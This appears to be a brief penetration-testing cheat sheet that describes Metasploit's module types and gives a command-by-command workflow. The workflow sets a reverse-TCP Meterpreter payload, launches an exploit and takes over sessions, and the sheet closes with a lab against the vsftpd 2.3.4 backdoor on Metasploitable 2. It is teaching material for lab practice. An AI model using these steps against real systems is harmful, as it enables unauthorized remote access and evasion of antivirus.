Metasploit Architecture

  • Exploit — Code that takes advantage of a vulnerability
  • Payload — Code that runs on the target after exploitation (reverse shell, Meterpreter)
  • Auxiliary — Scanners, fuzzers, and information gathering modules
  • Post — Post-exploitation modules for privilege escalation, persistence
  • Encoder — Obfuscates payload to evade antivirus detection

 

Metasploit Basic Workflow

Step

Command

Description

1

msfconsole

Launch the Metasploit console

2

search <vulnerability>

Search for relevant exploit modules

3

use exploit/multi/handler

Select an exploit or handler module

4

show options

View required and optional parameters

5

set RHOSTS <target IP>

Set the target IP address

6

set PAYLOAD windows/meterpreter/reverse_tcp

Choose the payload

7

set LHOST <your IP>

Set your listener IP (for reverse connections)

8

exploit / run

Launch the attack

9

sessions -l

List all active sessions

10

sessions -i 1

Interact with session #1

 

Lab: Download Metasploitable 2 (intentionally vulnerable VM). Use Nmap to find open vulnerabilities, then use Metasploit to exploit vsftpd 2.3.4 backdoor. Document every step.